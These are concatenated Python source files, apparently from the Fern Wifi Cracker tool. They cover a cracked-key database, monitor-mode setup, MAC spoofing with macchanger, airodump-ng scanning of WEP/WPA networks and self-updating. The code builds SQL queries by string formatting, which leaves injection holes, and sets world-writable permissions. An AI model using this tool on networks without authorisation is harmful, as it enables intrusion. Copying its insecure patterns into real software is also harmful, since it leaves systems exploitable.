self.cursor_object.execute("select value from settings where object = '%s'"%(object_name))
fetch_value = self.cursor_object.fetchall()
if(len(fetch_value) >= 1):
return(True)
return(False)
def read_last_settings(self,object_name):
''' This function reads the settings for
variable assignments and then
returns the corresponding value
'''
self.cursor_object.execute("select value from settings where object = '%s'"%(object_name))
fetch_value = self.cursor_object.fetchall()[0][0]
return(fetch_value)
def remove_settings(self,object_name):
'''This function removes previously stored
settings
'''
self.cursor_object.execute("delete from settings where object = '%s'"%(object_name))
self.settings_object.commit()
def close_setting_file(self):
'''Function closes write/Read operations
to settings file
'''
self.cursor_object.close()
| Python |
__all__ = ['fern','wep','wpa','wps','database','tools','variables','functions','settings'] | Python |
import os
import re
import sqlite3
import commands
import subprocess
################### DATABASE INSERTION FUNCTIONS ##############
#
# Create database if it does not exist
#
def database_create():
temp = sqlite3.connect(os.getcwd() + '/key-database/Database.db') # Database File and Tables are created Here
temp_query = temp.cursor()
temp_query.execute('''create table if not exists keys \
(access_point text,mac_address text,encryption text,key text,channel int)''')
temp.commit()
temp.close()
#
# Add keys to Database with this function
#
def upgrade_database():
connection = sqlite3.connect('key-database/Database.db')
query = connection.cursor()
query.execute("select * from keys")
if(len(query.description) < 5):
temp_backup = query.fetchall()
query.execute("drop table keys")
query.execute('''create table keys (access_point text,mac_address text,encryption text,key text,channel int)''')
for values in temp_backup:
query.execute("insert into keys values ('%s','%s','%s','%s','%s')"%(values[0],str(),values[1],values[2],values[3]))
connection.commit()
connection.close()
def set_key_entries(arg,arg1,arg2,arg3,arg4):
upgrade_database()
connection = sqlite3.connect('key-database/Database.db')
query = connection.cursor()
sql_code = "select key from keys where mac_address ='%s' and encryption = '%s'"
query.execute(sql_code % (str(arg1),str(arg2)))
result = query.fetchall()
if(result):
sql_code_2 = "update keys set access_point = '%s',encryption = '%s',key = '%s',channel = '%s' where mac_address = '%s'"
query.execute(sql_code_2 % (str(arg),str(arg2),str(arg3),str(arg4),str(arg1)))
else:
query.execute("insert into keys values ('%s','%s','%s','%s','%s')"%(str(arg),str(arg1),str(arg2),str(arg3),str(arg4)))
connection.commit()
connection.close()
def get_key_from_database(mac_address,encryption):
cracked_key = str()
upgrade_database()
sql_code = "select key from keys where mac_address ='%s' and encryption = '%s'"
connection = sqlite3.connect('key-database/Database.db')
query = connection.cursor()
query.execute(sql_code % (mac_address,encryption))
result = query.fetchall()
if(result):
cracked_key = str(result[0][0])
return(cracked_key)
def is_already_Cracked(mac_address,encryption):
sql_code = "select key from keys where mac_address ='%s' and encryption = '%s'"
connection = sqlite3.connect('key-database/Database.db')
query = connection.cursor()
query.execute(sql_code % (mac_address,encryption))
result = query.fetchall()
if(result):
return(True)
return(False)
def fern_database_query(sql_query):
connection = sqlite3.connect('key-database/Database.db')
query = connection.cursor()
query.execute(sql_query)
output = query.fetchall()
connection.commit()
connection.close()
return(output)
########## GENERIC GLOBAL READ/WRITE FUNCTIONS ###############
#
# Some globally defined functions for write,copy and read tasks
#
def reader(arg):
read_file = str()
try:
open_ = open(arg,'r+')
read_file = open_.read()
finally:
return read_file
def write(arg,arg2):
open_ = open(arg,'a+')
open_.write(arg2)
open_.close()
def remove(arg,arg2):
commands.getstatusoutput('rm -r %s/%s'%(arg,arg2)) #'rm - r /tmp/fern-log/file.log
########## GENERAL SETTINGS FUNCTION #########################
################# MAC Address Validator ######################
def Check_MAC(mac_address):
hex_digits = re.compile('([0-9a-f]{2}:){5}[0-9a-f]{2}',re.IGNORECASE)
if re.match(hex_digits,mac_address):
return(True)
return(False)
################# FILE LINE COUNTER ########################
def blocks(files, size=65536):
'''yields file stream in block sections'''
while True:
b = files.read(size)
if not b: break
yield b
def line_count(filename):
'''Returns estimated value of line'''
with open(filename, "r") as f:
count = sum(bl.count("\n") for bl in blocks(f))
return(count + 1)
######################## Font settings #######################
def font_size():
font_settings = open('%s/.font_settings.dat'%(os.getcwd()),'r+')
font_init = font_settings.read()
return int(font_init.split()[2])
###################### Process Terminate ######################
| Python |
import core
from gui.database import *
from core.functions import *
from core.variables import *
#
# Class for Database key entries
#
class database_dialog(QtGui.QDialog,database_ui):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.setWindowModality(QtCore.Qt.ApplicationModal)
self.display_keys()
self.connect(self.insert_button,QtCore.SIGNAL("clicked()"),self.insert_row)
self.connect(self.delete_button,QtCore.SIGNAL("clicked()"),self.delete_row)
self.connect(self.save_button,QtCore.SIGNAL("clicked()"),self.save_changes)
def display_keys(self):
connection = sqlite3.connect('key-database/Database.db')
query = connection.cursor()
query.execute('''select * from keys''')
items = query.fetchall()
query.close()
for iterate in range(len(items)): # Update QTable with entries from Database and
tuple_sequence = items[iterate]
if len(tuple_sequence) == 4: # If we have access point mac-address absent
access_point_var = tuple_sequence[0]
mac_address_var = '\t'
encryption_var = tuple_sequence[1].upper()
key_var = tuple_sequence[2]
channel_var = tuple_sequence[3]
else:
access_point_var = tuple_sequence[0]
mac_address_var = tuple_sequence[1]
encryption_var = tuple_sequence[2].upper()
key_var = tuple_sequence[3]
channel_var = tuple_sequence[4]
self.key_table.insertRow(iterate)
access_point_display = QtGui.QTableWidgetItem()
mac_address_display = QtGui.QTableWidgetItem()
encryption_display = QtGui.QTableWidgetItem()
key_display = QtGui.QTableWidgetItem()
channel_display = QtGui.QTableWidgetItem()
access_point_display.setText(QtGui.QApplication.translate("Dialog", "%s"%(access_point_var), None, QtGui.QApplication.UnicodeUTF8))
self.key_table.setItem(iterate,0,access_point_display)
mac_address_display.setText(QtGui.QApplication.translate("Dialog", "%s"%(mac_address_var), None, QtGui.QApplication.UnicodeUTF8))
self.key_table.setItem(iterate,1,mac_address_display)
encryption_display.setText(QtGui.QApplication.translate("Dialog", "%s"%(encryption_var), None, QtGui.QApplication.UnicodeUTF8))
self.key_table.setItem(iterate,2,encryption_display)
key_display.setText(QtGui.QApplication.translate("Dialog", "%s"%(key_var), None, QtGui.QApplication.UnicodeUTF8))
self.key_table.setItem(iterate,3,key_display)
channel_display.setText(QtGui.QApplication.translate("Dialog", "%s"%(channel_var), None, QtGui.QApplication.UnicodeUTF8))
self.key_table.setItem(iterate,4,channel_display)
def insert_row(self):
self.key_table.insertRow(0)
def delete_row(self):
current_row = int(self.key_table.currentRow())
self.key_table.removeRow(current_row)
def save_changes(self):
row_number = self.key_table.rowCount()
fern_database_query('''delete from keys''') # Truncate the "keys" table
for controller in range(row_number):
try:
access_point1 = QtGui.QTableWidgetItem(self.key_table.item(controller,0)) # Get Cell content
mac_address1 = QtGui.QTableWidgetItem(self.key_table.item(controller,1))
encryption1 = QtGui.QTableWidgetItem(self.key_table.item(controller,2))
key1 = QtGui.QTableWidgetItem(self.key_table.item(controller,3))
channel1 = QtGui.QTableWidgetItem(self.key_table.item(controller,4))
access_point = str(access_point1.text()) # Get cell content text
mac_address = str(mac_address1.text())
encryption2 = str(encryption1.text())
encryption = encryption2.upper()
key = key1.text()
channel = channel1.text()
if not (bool(access_point) and bool(mac_address) and bool(encryption) and bool(key) and bool(channel)):
raise(TypeError)
set_key_entries(access_point,mac_address,encryption,key,channel) # Write enrties to database
except(TypeError):
QtGui.QMessageBox.warning(self,"Empty Database Entries",\
"There are some fields with whitespaces,Please enter empty spaces with Access Point related data")
break
self.emit(QtCore.SIGNAL('update database label')) # Update the Entries label on Main window
| Python |
import os
import re
import sys
import time
import thread
import urllib2
import shutil
import sqlite3
import commands
import subprocess
import variables
from PyQt4 import QtGui,QtCore
from wep import *
from wpa import *
from wps import *
from tools import *
from database import *
from variables import *
from functions import *
from settings import *
from gui.main_window import *
__version__= 2.2
#
# Main Window Class
#
class mainwindow(QtGui.QDialog,Ui_Dialog):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.refresh_interface()
self.evaliate_permissions()
self.monitor_interface = str()
self.wep_count = str()
self.wpa_count = str()
self.interface_cards = list()
variables.wps_functions = WPS_Attack() # WPS functions
self.movie = QtGui.QMovie(self)
self.animate_monitor_mode(True) # Loading gif animation
self.settings = Fern_settings()
self.timer = QtCore.QTimer()
self.connect(self.timer,QtCore.SIGNAL("timeout()"),self.display_timed_objects)
self.timer.setInterval(4000)
self.timer.start()
self.connect(self,QtCore.SIGNAL("DoubleClicked()"),self.mouseDoubleClickEvent)
self.connect(self.refresh_intfacebutton,QtCore.SIGNAL("clicked()"),self.refresh_interface)
self.connect(self.interface_combo,QtCore.SIGNAL("currentIndexChanged(QString)"),self.setmonitor)
self.connect(self,QtCore.SIGNAL("monitor mode enabled"),self.monitor_mode_enabled)
self.connect(self,QtCore.SIGNAL("monitor_error(QString,QString)"),self.display_monitor_error)
self.connect(self,QtCore.SIGNAL("interface cards found"),self.interface_cards_found)
self.connect(self,QtCore.SIGNAL("interface cards not found"),self.interface_card_not_found)
self.connect(self.scan_button,QtCore.SIGNAL("clicked()"),self.scan_network)
self.connect(self.wep_button,QtCore.SIGNAL("clicked()"),self.wep_attack_window)
self.connect(self.wpa_button,QtCore.SIGNAL("clicked()"),self.wpa_attack_window)
self.connect(self.tool_button,QtCore.SIGNAL("clicked()"),self.tool_box_window)
self.connect(self,QtCore.SIGNAL("wep_number_changed"),self.wep_number_changed)
self.connect(self,QtCore.SIGNAL("wep_button_true"),self.wep_button_true)
self.connect(self,QtCore.SIGNAL("wep_button_false"),self.wep_button_false)
self.connect(self,QtCore.SIGNAL("wpa_number_changed"),self.wpa_number_changed)
self.connect(self,QtCore.SIGNAL("wpa_button_true"),self.wpa_button_true)
self.connect(self,QtCore.SIGNAL("wpa_button_false"),self.wpa_button_false)
self.connect(self.database_button,QtCore.SIGNAL("clicked()"),self.database_window)
self.connect(self.update_button,QtCore.SIGNAL("clicked()"),self.update_fern)
self.connect(self,QtCore.SIGNAL("finished downloading"),self.finished_downloading_files)
self.connect(self,QtCore.SIGNAL("restart application"),self.restart_application)
self.connect(self,QtCore.SIGNAL("failed update"),self.update_fail)
self.connect(self,QtCore.SIGNAL("already latest update"),self.latest_update)
self.connect(self,QtCore.SIGNAL("previous message"),self.latest_svn)
self.connect(self,QtCore.SIGNAL("new update available"),self.new_update_avialable)
self.connect(self,QtCore.SIGNAL("current_version"),self.current_update)
self.connect(self,QtCore.SIGNAL("download failed"),self.download_failed)
self.connect(self,QtCore.SIGNAL('internal scan error'),self.scan_error_display)
self.connect(self,QtCore.SIGNAL('file downloaded'),self.downloading_update_files)
self.update_label.setText('<font color=green>Currently installed version: Revision %s</font>'%(self.installed_revision()))
# Display update status on main_windows
thread.start_new_thread(self.update_initializtion_check,())
self.set_WindowFlags()
self.update_database_label()
self.set_xterm_settings()
def set_WindowFlags(self):
try:
self.setWindowFlags(QtCore.Qt.WindowCloseButtonHint | QtCore.Qt.WindowMaximizeButtonHint) # Some older versions of Qt4 dont support some flags
except:pass
def display_timed_objects(self):
self.show_Fern_Pro_tip()
self.timer.stop()
def show_Fern_Pro_tip(self):
if(self.settings.setting_exists("fern_pro_tips")):
if(self.settings.read_last_settings("fern_pro_tips") == "0"):
tips = Fern_Pro_Tips()
tips.exec_()
else:
self.settings.create_settings("fern_pro_tips","0")
tips = Fern_Pro_Tips()
tips.exec_()
#
# Read database entries and count entries then set Label on main window
#
def update_database_label(self):
connection = sqlite3.connect(os.getcwd() + '/key-database/Database.db')
query = connection.cursor()
query.execute('''select * from keys''')
items = query.fetchall()
connection.close()
if len(items) == 0:
self.label_16.setText('<font color=red>No Key Entries</font>')
else:
self.label_16.setText('<font color=green>%s Key Entries</font>'%(str(len(items))))
#
# Read last xterm settings
#
def set_xterm_settings(self):
if not self.settings.setting_exists("xterm"):
self.settings.create_settings("xterm",str())
variables.xterm_setting = self.settings.read_last_settings("xterm")
#
# SIGNALs for update threads
#
def update_fail(self):
self.update_label.setText('<font color=red>Unable to check for updates,network timeout')
def download_failed(self):
self.update_label.setText('<font color=red>Download failed,network timeout')
def downloading_update_files(self):
global file_total
global files_downloaded
self.update_label.setText('<font color=green>Downloading.. %s Complete</font>'\
%(self.percentage(files_downloaded,file_total)))
def installed_revision(self):
svn_info = commands.getstatusoutput('svn info ' + directory)
if svn_info[0] == 0:
svn_version = svn_info[1].splitlines()[4].strip('Revision: ')
else:
svn_version = '94'
return svn_version
def finished_downloading_files(self):
self.update_label.setText('<font color=green>Finished Downloading</font>')
def restart_application(self):
self.update_label.setText('<font color=red>Please Restart application</font>')
def latest_update(self):
self.update_label.setText('<font color=green>No new update is available for download</font>')
def current_update(self):
self.update_label.setText('<font color=green>Currently installed version: Revision %s</font>'%(self.installed_revision()))
def latest_svn(self):
self.update_label.setText('<font color=green>Latest update is already installed</font>')
def new_update_avialable(self):
self.update_label.setText('<font color=green>New Update is Available</font>')
self.update_button.setFocus()
def update_error(self):
global svn_access
global svn_failure_message
svn_failure_message = str()
svn_failure = svn_access.stderr
svn_failure_message = svn_failure.read()
#
# Update Fern application via SVN,updates at ("svn checkout http://github.com/savio-code/fern-wifi-cracker/trunk/Fern-Wifi-Cracker/")
#
def update_fern(self):
global updater_control
updater_control = 1
self.update_label.setText('<font color=green>Checking for update...</font>')
thread.start_new_thread(self.update_launcher,())
def percentage(self,current,total):
float_point = float(current)/float(total)
calculation = int(float_point * 100)
percent = str(calculation) + '%'
return(percent)
def update_launcher(self):
''' Downloads and installs update files
'''
global svn_access
global file_total
global files_downloaded
global fern_directory
file_total = int()
files_downloaded = int()
fern_directory = os.getcwd()
update_directory = '/tmp/Fern-Wifi-Cracker/'
try:
online_response_check = urllib2.urlopen('https://raw.githubusercontent.com/savio-code/fern-wifi-cracker/master/Fern-Wifi-Cracker/version')
online_response = online_response_check.read()
online_files = re.compile('total_files = \d+',re.IGNORECASE)
for online_file_total in online_response.splitlines():
if re.match(online_files,online_file_total):
file_total = int(online_file_total.split()[2])
if 'Fern-Wifi-Cracker' in os.listdir('/tmp/'):
variables.exec_command('rm -r /tmp/Fern-Wifi-Cracker')
svn_access = subprocess.Popen('cd /tmp/ \n svn checkout https://github.com/savio-code/fern-wifi-cracker/trunk/Fern-Wifi-Cracker/',\
shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
svn_update = svn_access.stdout
thread.start_new_thread(self.update_error,())
while True:
response = svn_update.readline()
if len(response) > 0:
files_downloaded += 1
self.emit(QtCore.SIGNAL('file downloaded'))
if str('revision') in str(response):
self.emit(QtCore.SIGNAL("finished downloading"))
# Delete all old files (*.py,*.py etc) except ".font_setting.dat" file
for old_file in os.listdir(os.getcwd()):
if os.path.isfile(os.getcwd() + os.sep + old_file) and old_file != '.font_settings.dat':
os.remove(os.getcwd() + os.sep + old_file)
# Delete all old directories except the "key-database" directory
for old_directory in os.listdir(os.getcwd()):
if os.path.isdir(os.getcwd() + os.sep + old_directory) and old_directory != 'key-database':
shutil.rmtree(os.getcwd() + os.sep + old_directory)
for update_file in os.listdir('/tmp/Fern-Wifi-Cracker'): # Copy New update files to working directory
if os.path.isfile(update_directory + update_file):
shutil.copyfile(update_directory + update_file,os.getcwd() + os.sep + update_file)
else:
shutil.copytree(update_directory + update_file,os.getcwd() + os.sep + update_file)
for new_file in os.listdir(os.getcwd()): # chmod New files to allow permissions
os.chmod(os.getcwd() + os.sep + new_file,0777)
time.sleep(5)
self.emit(QtCore.SIGNAL("restart application"))
break
if len(svn_failure_message) > 2:
self.emit(QtCore.SIGNAL("download failed"))
break
except(urllib2.URLError,urllib2.HTTPError):
self.emit(QtCore.SIGNAL("download failed"))
#
# Update checker Thread
#
def update_initializtion_check(self):
global updater_control
updater_control = 0
while updater_control != 1:
try:
online_response_thread = urllib2.urlopen('https://raw.githubusercontent.com/savio-code/fern-wifi-cracker/master/Fern-Wifi-Cracker/version')
online_response_string = ''
online_response = online_response_thread.read()
online_version = re.compile('version = \d+\.?\d+',re.IGNORECASE)
for version_iterate in online_response.splitlines():
if re.match(online_version,version_iterate):
online_response_string += version_iterate
update_version_number = float(online_response_string.split()[2])
if float(__version__) != update_version_number:
self.emit(QtCore.SIGNAL("new update available"))
break
if float(__version__) == update_version_number:
self.emit(QtCore.SIGNAL("already latest update"))
time.sleep(20)
self.emit(QtCore.SIGNAL("previous message"))
break
except Exception:
self.emit(QtCore.SIGNAL("failed update"))
time.sleep(9)
#
# Launches Tool Box window
#
def tool_box_window(self):
tool_box = tool_box_window()
tool_box.exec_()
#
# Execute the wep attack window
#
def wep_attack_window(self):
if 'WEP-DUMP' not in os.listdir('/tmp/fern-log'):
os.mkdir('/tmp/fern-log/WEP-DUMP',0700)
else:
variables.exec_command('rm -r /tmp/fern-log/WEP-DUMP/*')
wep_run = wep_attack_dialog()
self.connect(wep_run,QtCore.SIGNAL('update database label'),self.update_database_label)
self.connect(wep_run,QtCore.SIGNAL("stop scan"),self.stop_network_scan)
wep_run.exec_()
#
# Execute the wep attack window
#
def wpa_attack_window(self):
variables.exec_command('killall aircrack-ng')
if 'WPA-DUMP' not in os.listdir('/tmp/fern-log'):
os.mkdir('/tmp/fern-log/WPA-DUMP',0700)
else:
variables.exec_command('rm -r /tmp/fern-log/WPA-DUMP/*')
wpa_run = wpa_attack_dialog()
self.connect(wpa_run,QtCore.SIGNAL('update database label'),self.update_database_label)
self.connect(wpa_run,QtCore.SIGNAL("stop scan"),self.stop_network_scan)
wpa_run.exec_()
#
# Execute database Window
#
def database_window(self):
database_run = database_dialog()
self.connect(database_run,QtCore.SIGNAL('update database label'),self.update_database_label)
database_run.exec_()
#
# Refresh wireless network interface card and update combobo
#
def refresh_interface(self):
variables.exec_command('killall airodump-ng')
variables.exec_command('killall airmon-ng')
self.animate_monitor_mode(True)
self.mon_label.clear()
self.interface_combo.clear()
self.interface_combo.setEnabled(True)
self.interface_cards = list()
thread.start_new_thread(self.refresh_card_thread,())
def refresh_card_thread(self):
# Disable cards already on monitor modes
wireless_interfaces = str(commands.getstatusoutput('airmon-ng'))
prev_monitor = os.listdir('/sys/class/net')
monitor_interfaces_list = []
for monitors in prev_monitor:
if monitors in wireless_interfaces:
monitor_interfaces_list.append(monitors)
for monitored_interfaces in monitor_interfaces_list:
variables.exec_command('airmon-ng stop %s'%(monitored_interfaces))
# List Interface cards
compatible_interface = str(commands.getoutput("airmon-ng | egrep -e '^[a-z]{2,4}[0-9]'"))
interface_list = os.listdir('/sys/class/net')
# Interate over interface output and update combo box
if compatible_interface.count('\t') == 0:
self.emit(QtCore.SIGNAL("interface cards not found"))
else:
for interface in interface_list:
if interface in compatible_interface:
if not interface.startswith('mon'):
self.interface_cards.append(interface)
self.emit(QtCore.SIGNAL("interface cards found"))
def interface_card_not_found(self):
self.interface_combo.setEnabled(False)
self.mon_label.setText("<font color=red>No Wireless Interface was found</font>")
self.animate_monitor_mode(False)
def interface_cards_found(self):
self.interface_combo.addItem('Select Interface')
interface_icon = QtGui.QIcon("%s/resources/mac_address.png"%(os.getcwd()))
for interface in self.interface_cards:
self.interface_combo.addItem(interface_icon,interface)
self.mon_label.setText("<font color=red>Select an interface card</font>")
self.animate_monitor_mode(False)
#
# Animates monitor mode by loading gif
#
def animate_monitor_mode(self,status):
self.movie = QtGui.QMovie("%s/resources/loading.gif"%(os.getcwd()))
self.movie.start()
self.loading_label.setMovie(self.movie)
if(status): # if status == True (setting of monitor mode is in progress)
self.interface_combo.setEnabled(False)
self.loading_label.setVisible(True)
self.mon_label.setVisible(False)
else:
self.interface_combo.setEnabled(True)
self.loading_label.setVisible(False)
self.mon_label.setVisible(True)
#
# Set monitor mode on selected monitor from combo list
#
def setmonitor(self):
last_settings = str()
self.monitor_interface = str()
monitor_card = str(self.interface_combo.currentText())
if monitor_card != 'Select Interface':
mac_settings = self.settings.setting_exists('mac_address')
if(mac_settings):
last_settings = self.settings.read_last_settings('mac_address')
thread.start_new_thread(self.set_monitor_thread,(monitor_card,mac_settings,last_settings,))
self.animate_monitor_mode(True)
else:
self.mon_label.setText("<font color=red>Monitor Mode not enabled check manually</font>")
self.animate_monitor_mode(False)
def set_monitor_thread(self,monitor_card,mac_setting_exists,last_settings):
status = str(commands.getoutput("airmon-ng start %s"%(monitor_card)))
if ('monitor mode enabled' in status) or ('monitor mode vif enabled' in status):
monitor_interface_process = str(commands.getoutput("airmon-ng"))
regex = object()
if ('monitor mode enabled' in status):
regex = re.compile("mon\d",re.IGNORECASE)
elif ('monitor mode vif enabled' in status):
regex = re.compile("wlan\dmon",re.IGNORECASE)
interfaces = regex.findall(monitor_interface_process)
if(interfaces):
self.monitor_interface = interfaces[0]
else:
self.monitor_interface = monitor_card
variables.monitor_interface = self.monitor_interface
self.interface_combo.setEnabled(False)
variables.wps_functions.monitor_interface = self.monitor_interface
self.emit(QtCore.SIGNAL("monitor mode enabled"))
# Create Fake Mac Address and index for use
mon_down = commands.getstatusoutput('ifconfig %s down'%(self.monitor_interface))
if mac_setting_exists:
variables.exec_command('macchanger -m %s %s'%(last_settings,self.monitor_interface))
else:
variables.exec_command('macchanger -A %s'%(self.monitor_interface))
mon_up = commands.getstatusoutput('ifconfig %s up'%(self.monitor_interface))
for iterate in os.listdir('/sys/class/net'):
if str(iterate) == str(self.monitor_interface):
os.chmod('/sys/class/net/' + self.monitor_interface + '/address',0777)
variables.monitor_mac_address = reader('/sys/class/net/' + self.monitor_interface + '/address').strip()
variables.wps_functions.monitor_mac_address = variables.monitor_mac_address
else:
self.emit(QtCore.SIGNAL("monitor_error(QString,QString)","red","problem occured while setting up the monitor mode of selected"))
def display_monitor_error(self,color,error):
message = "<font color='%1'>%2</font>"
self.mon_label.setText(message.format(color,error))
self.animate_monitor_mode(False)
def tip_display(self):
tips = tips_window()
tips.type = 1
tips.exec_()
def monitor_mode_enabled(self):
self.mon_label.setText("<font color=green>Monitor Mode Enabled on %s</font>"%(self.monitor_interface))
self.animate_monitor_mode(False)
# Execute tips
if(self.settings.setting_exists("tips")):
if(self.settings.read_last_settings("tips") == "0"):
self.tip_display()
else:
self.settings.create_settings("tips","1")
self.tip_display()
#
# Double click event for poping of settings dialog box
#
def mouseDoubleClickEvent(self, event):
if(len(self.monitor_interface)):
setting = settings_dialog()
setting.exec_()
else:
self.mon_label.setText("<font color=red>Enable monitor mode to access settings</font>")
def scan_error_display(self):
global error_catch
self.stop_scan_network()
QtGui.QMessageBox.warning(self,'Scan Error','Fern failed to start scan due to an airodump-ng error: <font color=red>' \
+ error_catch[1] + '</font>')
#
# Scan for available networks
#
def scan_network(self):
global scan_control
scan_control = 0
self.wep_count = int()
self.wpa_count = int()
variables.wep_details = {}
variables.wpa_details = {}
variables.wps_functions = WPS_Attack() # WPS functions
variables.wps_functions.monitor_interface = self.monitor_interface
variables.wps_functions.monitor_mac_address = variables.monitor_mac_address
variables.wps_functions.start_WPS_Devices_Scan() # Starts WPS Scanning
if not self.monitor_interface:
self.mon_label.setText("<font color=red>Enable monitor mode before scanning</font>")
else:
self.wpa_button.setEnabled(False)
self.wep_button.setEnabled(False)
self.wep_clientlabel.setEnabled(False)
self.wpa_clientlabel.setEnabled(False)
self.wep_clientlabel.setText("None Detected")
self.wpa_clientlabel.setText("None Detected")
self.label_7.setText("<font Color=green>\t Initializing</font>")
thread.start_new_thread(self.scan_wep,())
self.disconnect(self.scan_button,QtCore.SIGNAL("clicked()"),self.scan_network)
self.connect(self.scan_button,QtCore.SIGNAL("clicked()"),self.stop_scan_network)
def stop_scan_network(self):
global error_catch
global scan_control
scan_control = 1
variables.exec_command('rm -r /tmp/fern-log/*.cap')
variables.exec_command('killall airodump-ng')
variables.exec_command('killall airmon-ng')
self.label_7.setText("<font Color=red>\t Stopped</font>")
variables.wps_functions.stop_WPS_Scanning() # Stops WPS scanning
self.wep_clientlabel.setText("None Detected")
self.wpa_clientlabel.setText("None Detected")
self.disconnect(self.scan_button,QtCore.SIGNAL("clicked()"),self.stop_scan_network)
self.connect(self.scan_button,QtCore.SIGNAL("clicked()"),self.scan_network)
def stop_network_scan(self):
global scan_control
scan_control = 1
variables.exec_command('killall airodump-ng')
variables.exec_command('killall airmon-ng')
self.label_7.setText("<font Color=red>\t Stopped</font>")
#
# WEP Thread SLOTS AND SIGNALS
#
def wep_number_changed(self):
self.wep_clientlabel.setText('<font color=red>%s</font><font color=red>\t Detected</font>'%(self.wep_count))
def wep_button_true(self):
self.wep_button.setEnabled(True)
self.wep_clientlabel.setEnabled(True)
def wep_button_false(self):
self.wep_button.setEnabled(False)
self.wep_clientlabel.setEnabled(False)
self.wep_clientlabel.setText('None Detected')
#
# WPA Thread SLOTS AND SIGNALS
#
def wpa_number_changed(self):
self.wpa_clientlabel.setText('<font color=red>%s</font><font color=red>\t Detected</font>'%(self.wpa_count))
def wpa_button_true(self):
self.wpa_button.setEnabled(True)
self.wpa_clientlabel.setEnabled(True)
def wpa_button_false(self):
self.wpa_button.setEnabled(False)
self.wpa_clientlabel.setEnabled(False)
self.wpa_clientlabel.setText('None Detected')
#
# WEP SCAN THREADING FOR AUTOMATIC SCAN OF NETWORK
#
###################
def scan_process1_thread(self):
global error_catch
error_catch = variables.exec_command("airodump-ng --write /tmp/fern-log/zfern-wep --output-format csv \
--encrypt wep %s"%(self.monitor_interface)) #FOR WEP
def scan_process1_thread1(self):
global error_catch
error_catch = variables.exec_command("airodump-ng --write /tmp/fern-log/WPA/zfern-wpa --output-format csv \
--encrypt wpa %s"%(self.monitor_interface)) # FOR WPA
###################
def scan_process2_thread(self):
global error_catch
if bool(variables.xterm_setting):
wep_display_mode = 'xterm -T "FERN (WEP SCAN)" -geometry 100 -e' # if True or if xterm contains valid ascii characters
else:
wep_display_mode = ''
error_catch = variables.exec_command("%s 'airodump-ng -a --write /tmp/fern-log/zfern-wep --output-format csv\
--encrypt wep %s'"%(wep_display_mode,self.monitor_interface)) #FOR WEP
def scan_process2_thread1(self):
global error_catch
if bool(variables.xterm_setting): # if True or if xterm contains valid ascii characters
wpa_display_mode = 'xterm -T "FERN (WPA SCAN)" -geometry 100 -e'
else:
wpa_display_mode = ''
error_catch = variables.exec_command("%s 'airodump-ng -a --write /tmp/fern-log/WPA/zfern-wpa \
--output-format csv --encrypt wpa %s'"%(wpa_display_mode,self.monitor_interface)) # FOR WPA
###########################
def scan_process3_thread(self):
global error_catch
error_catch = variables.exec_command("airodump-ng --channel %s --write /tmp/fern-log/zfern-wep \
--output-format csv --encrypt wep %s"%(variables.static_channel,self.monitor_interface)) #FOR WEP
def scan_process3_thread1(self):
global error_catch
error_catch = variables.exec_command("airodump-ng --channel %s --write /tmp/fern-log/WPA/zfern-wpa \
--output-format csv --encrypt wpa %s"%(variables.static_channel,self.monitor_interface))# FOR WPA
#######################
def scan_process4_thread(self):
global error_catch
if bool(variables.xterm_setting):
wep_display_mode = 'xterm -T "FERN (WEP SCAN)" -geometry 100 -e' # if True or if xterm contains valid ascii characters
else:
wep_display_mode = ''
error_catch = variables.exec_command("%s 'airodump-ng -a --channel %s --write /tmp/fern-log/zfern-wep \
--output-format csv --encrypt wep %s'"%(wep_display_mode,variables.static_channel,self.monitor_interface))# FOR WEP
def scan_process4_thread1(self):
global error_catch
if bool(variables.xterm_setting): # if True or if xterm contains valid ascii characters
wpa_display_mode = 'xterm -T "FERN (WPA SCAN)" -geometry 100 -e'
else:
wpa_display_mode = ''
error_catch = variables.exec_command("%s 'airodump-ng -a --channel %s --write /tmp/fern-log/WPA/zfern-wpa \
--output-format csv --encrypt wpa %s'"%(wpa_display_mode,variables.static_channel,self.monitor_interface))
def scan_wep(self):
global xterm_setting
variables.exec_command('rm -r /tmp/fern-log/*.csv')
variables.exec_command('rm -r /tmp/fern-log/*.cap')
variables.exec_command('rm -r /tmp/fern-log/WPA/*.csv')
variables.exec_command('rm -r /tmp/fern-log/WPA/*.cap')
# Channel desision block
if scan_control == 0:
if not variables.static_channel:
if len(variables.xterm_setting) == 0:
thread.start_new_thread(self.scan_process1_thread,())
thread.start_new_thread(self.scan_process1_thread1,())
else:
thread.start_new_thread(self.scan_process2_thread,())
thread.start_new_thread(self.scan_process2_thread1,())
else:
if len(variables.xterm_setting) == 0:
thread.start_new_thread(self.scan_process3_thread,())
thread.start_new_thread(self.scan_process3_thread1,())
else:
thread.start_new_thread(self.scan_process4_thread,())
thread.start_new_thread(self.scan_process4_thread1,())
time.sleep(5)
if scan_control != 1:
self.label_7.setText("<font Color=green>\t Active</font>")
while scan_control != 1:
try:
time.sleep(2)
wep_access_file = str(reader('/tmp/fern-log/zfern-wep-01.csv')) # WEP access point log file
wpa_access_file = str(reader('/tmp/fern-log/WPA/zfern-wpa-01.csv')) # WPA access point log file
wep_access_convert = wep_access_file[0:wep_access_file.index('Station MAC')]
wep_access_process = wep_access_convert[wep_access_convert.index('Key'):-1]
wep_access_process1 = wep_access_process.strip('Key\r\n')
process = wep_access_process1.splitlines()
# Display number of WEP access points detected
self.wep_count = str(wep_access_file.count('WEP')/2) # number of access points wep detected
if int(self.wep_count) > 0:
self.emit(QtCore.SIGNAL("wep_number_changed"))
self.emit(QtCore.SIGNAL("wep_button_true"))
else:
self.emit(QtCore.SIGNAL("wep_button_false"))
for iterate in range(len(process)):
detail_process1 = process[iterate]
wep_access = detail_process1.split(',')
mac_address = wep_access[0].strip(' ') # Mac address
channel = wep_access[3].strip(' ') # Channel
speed = wep_access[4].strip(' ') # Speed
power = wep_access[8].strip(' ') # Power
access_point = wep_access[13].strip(' ') # Access point Name
if access_point not in wep_details.keys():
wep_details[access_point] = [mac_address,channel,speed,power]
# WPA Access point sort starts here
read_wpa = reader('/tmp/fern-log/WPA/zfern-wpa-01.csv')
# Display number of WEP access points detected
self.wpa_count = str(read_wpa.count('WPA')) # number of access points wep detected
if int(self.wpa_count) == 0:
self.emit(QtCore.SIGNAL("wpa_button_false"))
elif int(self.wpa_count >= 1):
